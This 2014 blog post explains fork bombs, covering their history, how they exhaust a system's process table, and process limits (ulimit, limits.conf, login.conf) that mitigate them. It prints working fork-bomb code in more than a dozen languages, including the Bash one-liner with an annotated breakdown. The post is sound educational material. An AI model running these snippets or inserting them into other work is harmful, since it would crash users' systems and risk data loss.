Fork While Fork

August 19, 2014     Dan Griffiths    

…or why you shouldn't trust random code snippets posted online

I thought that by now, everyone knew that running random code was generally a bad idea. No matter who it's from. Or where it's posted. Basically, if you don't understand it, don't run it! Somehow, this always seemed self-explanatory to me… If someone says “Hey, run this!” the logical follow up should be “What does it do?” or, even better, do some research before running it! Well… I was wrong. Not so self-explanatory. I posted something that my long-time followers should remember. Give or take two years ago, I wrote an article on fork bombs which is sadly no longer available. As such, it's time for round two!

What IS A Fork Bomb?

At its core, a fork bomb is an exceedingly simple denial-of-service attack. For those who aren't familiar with that term, a denial-of-service (or DoS) attack is a type of attack through which the resources of a machine, network or service is made unavailable to its users. In various forms, DoS attacks are seen fairly regularly. In fact, you've probably experienced one whether you knew it by that name or not. Service providers (such as Gmail, Facebook and Twitter) are common targets of attackers and all three have suffered from at least one DoS attack in the last year. So what are some of the symptoms of a DoS attack?

  • Unusually slow network performance
  • Unavailability of a particular web site
  • Inability to access any web site
  • Disconnection of a wireless or wired Internet connection

Now that doesn't mean you should panic and call your ISP just because your Internet is slow for a few minutes (unless, of course, it's slow because you have a crappy plan and you need to upgrade). There are numerous other reasons which could be the culprit behind connectivity issues, but it's still something to think about. Chances are, if a service is experiencing a DoS attack, they already know about it and you calling in is only going to slow down their recovery time.

Now, back to fork bombs!

Early Attacks

Burroughs 5500The first fork bomb has been effectively lost to history. However, there are two likely candidates for that unfortunate distinction. The earlier of the two was an attack called RABBITS. Little information is available about the original RABBITS attack, other than that it was let loose, so to speak, in 1969 on a University of Washington Burroughs 5500. Given the Burroughs 5500 was a punchcard-based system, I'd love to have gotten a chance to see how they pulled it off!

IBM System/360The second option for first fork bomb (and the more likely candidate in my opinion) was a 1978 attack called wabbit which ran on the IBM System/360 series computers. While insufficient information is known about RABBITS to conclusively call it a fork bomb, wabbit is known to have been one. Effectively, it created two copies of itself at each run causing a cascade reaction which would eventually disable the system.

 

How Do They Work?

Props for creating the first fork bomb notwithstanding, the methods employed to disable those early machines aren't likely to work in any modern sense, so it's time to move on to modern fork bombs!

Thankfully for the large number of unwitting computer users out there, fork bombs aren't generally spread in the same way as worms or viruses. However, they can (and occasionally do) occur accidentally, particularly in the case of software development. Take, for example, a developer who is creating a client-server application in which the application listens on a given network socket. Improperly implemented, this can theoretically cause an infinite loop which will continually use system resources until the system becomes unstable or inoperable.

While the logical solution to this problem is to terminate the process which began the cascade, it's often not as simple as it sounds. A fork bomb works by creating a massive number of processes in rapid succession in order to over saturate the system process table. If this happens, no new applications or services can be started until something else is terminated. Unfortunately, in the time it takes you to terminate an instance of the fork bomb, another has spawned to take its place. Since each instance is launched as a separate process, you would likely have to simultaneously terminate all running processes to successfully kill the attack. More often than not, the easiest way to do this is to simply reboot the computer, risking data loss.

Examples

BASH/ZSH

Perhaps the most elegant fork bomb ever written was introduced by programmer, artist and activist Jaromil (aka Denis Roio) as a piece of open-source art in 2002. His original, almost incomprehensible code was designed to run from the command line on a POSIX-based system and looks like this:

:(){ :|:& };:

While this code might look like complete gibberish, it's actually quite simple. Broken down into a more comprehensible form, it looks something like this:

bomb()
{
    bomb|bomb &
};
bomb

Ok, so that's only a little easier to understand… let's break it down even further…

bomb()   # define 'bomb' - whenever we run 'bomb', do this:
{        # beginning of what to do when we say 'bomb'
    bomb # load another copy of the 'bomb' function into memory...
    |    # ...and pipe its output to...
    bomb # ...another copy of 'bomb' function, which has to be loaded into memory
    &    # disown the functions - prevent killing children if the initial process is killed
}        # end of what to do when we say 'bomb'
;        # Having defined 'bomb', we should now...
bomb     # ...call 'bomb', initiating a chain-reaction

…whew…

In the case of the original example (which you should now understand the elegance of), we are using ‘:' as an arbitrary identifier for our function. But wait! We aren't through yet! What about non-POSIX operating systems?

Microsoft Windows Batch

Yep! Go figure, if it can be done on Linux, it can certainly be done on Windows! In fact, the Windows batch scripting language exposes users to two different fork bombs: one elegant, one efficient. The elegant form is also one of the simplest fork bombs publicized to date:

%0|%0

The more efficient form on Windows looks something like this:

:s
start %0
goto :s

So as long as you don't run random shell code you're safe, right? Wrong! Similar effects can be accomplished through many popular programming languages, as you can see below (I'm not going to keep explaining how they work, you get the idea)…

Perl

fork while fork

Haskell

import Control.Monad
import System.Posix.Process
 
forkBomb = forever $ forkProcess forkBomb

Python

import os
 
while True:
     os.fork()

Ruby

loop { fork }

UNIX C/C++

#include 
 
int main(void)
{
  for(;;)
    fork();
  return 0;
}

x86 FASM (Linux)

format ELF executable
entry start
start:
	push	0x2       ; Linux fork system call
	pop	eax       ;
	int	0x80      ; Call to the kernel
	jmp	start     ; Loop back to the start

x86 FASM (Windows)

format PE GUI 4.0
entry start
section '.text' code readable executable
  start:
        pushd 1000
        pushd path
        pushd 0
        call [GetModuleFileName]
   @@:
        pushd 1
        pushd 0
        pushd 0
        pushd path
        pushd command
        pushd 0
        call [ShellExecute]
        jmp @b
section '.data' data readable writeable
  path rb 1000
  command db "open"
section '.idata' import data readable writeable
  dd 0,0,0,RVA kernel32id,RVA kernel32
  dd 0,0,0,RVA shell32id,RVA shell32
  kernel32:
    GetModuleFileName dd RVA _GetModuleFileName
    dd 0
  shell32:
    ShellExecute dd RVA _ShellExecute
    dd 0
  kernel32id db 'kernel32.dll',0
  shell32id db 'shell32.dll',0
  _GetModuleFileName dw 0
    db 'GetModuleFileNameA',0
  _ShellExecute dw 0
    db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable

x86 NASM (Linux)

section .text
 global _start ;Call start
 
_start:
 push byte 2      ;syscall to Linux fork
 pop eax          ;set EAX argument for fork to NULL [So it works in strings]
 int 0x80         ;Execute syscall with fork & the EAX [null, above] argument
 jmp short _start ;Go back to beginning, causing a fork bomb

LISP

(defmacro wabbit ()                ;; A program that writes code.
   (let ((fname (gentemp 'INET)))
     `(progn
            (defun ,fname ()        ;; Generate.
              nil)
            (wabbit))))
 
(wabbit)    ;; Start multiplying.

Java

public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

As you can see, fork bombs are extremely easy to write in virtually any language. Thankfully, while immediate recovery from a fork bomb can be a challenging exercise at best, prevention is feasible. Generally speaking, fork bombs only affect one user… the one who launched the initial process. As such, limiting the maximum number of processes accessible to a given user can prevent a fork bomb from being more than a minor annoyance. If, for example, you limit a user to 30 processes, and the fork bomb maxes out that limit, and your system has sufficient RAM to handle 30 small processes (it really should), you'll be able to access the command line or task manager and kill the relevant processes.

This is particularly simple to accomplish on UNIX or Linux-based systems. These systems generally allow configuration of user process limits through two methods: a simple command aptly called ulimit, and the nproc line in the file /etc/security/limits.conf. Again, these allow you to limit the impact of fork bombs, not prevent them completely. There is, however, a less-known option for detecting fork bombs by the operating system itself. Many Linux-based systems have access to a kernel module called rexFBD. While this module is not configured by default, a system admin with sufficient experience should have little trouble recompiling their kernel to implement it.

A similar method for diminishing the destructive value of fork bombs is available on FreeBSD. The system admin can edit their login.conf to limit the number of processes available for each user on the system individually. Unfortunately, at this time there is no FreeBSD equivalent to the rexFBD kernel module.

As for all the intrepid Windows users out there… just try not to run anything stupid. You don't have any reliable options that I am currently aware of.

Categories: News

One thought on “Fork While Fork”

  1. Mike

    “a 1978 attack called wabbit which ran on the IBM System/360 series computers. While insufficient information is known about RABBITS to conclusively call it a fork bomb, wabbit is known to have been one. Effectively, it created two copies of itself at each run causing a cascade reaction which would eventually disable the system.W

    This was a one off at UCL – the student who wrote it was in my year on the Electronic Engineering course – it was a very simple batch job that launched two more copies of itself…

Leave a Reply

Your email address will not be published. Required fields are marked *

Rating*